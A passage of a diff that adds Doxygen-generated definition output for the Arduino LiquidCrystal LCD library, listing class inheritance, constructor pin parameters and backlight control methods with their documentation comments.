public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 2; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 3; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 4; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 8; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 7; + node-label = 'LiquidCrystal_SR1W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r1_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 9; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal'; + cp-name = 'LiquidCrystal'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a49d2bd8d26031a1c83bcbd73978a1686'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '55'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a30e3d865c4b4a003a36cb45903f93644'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '58'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae0c3c8f7661634b1400f00a1c9c02c26'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '68'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a52a4de3d866e347208a32dfc9d797729'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '86'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a0a0a8dfa7a2e775a031fd65f5c6366ec'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '76'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a8b90122c67a6d14b967c8a11ba490670'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a23124e6dd5ac4a9b6147629b96e91953'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '78'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aff2330186495fde93370d46c0ca2cbf0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '64'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a56142f8b3753bedd133e4139e5eb5089'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '99'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aa2b898366e1c656ac313b9007c98cebd'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '125'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a63740dc1198d8169a39d9c6daff0efc9'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '109'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae45eec827b26174f73e9cf3ddda635af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'fourbitmode'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + 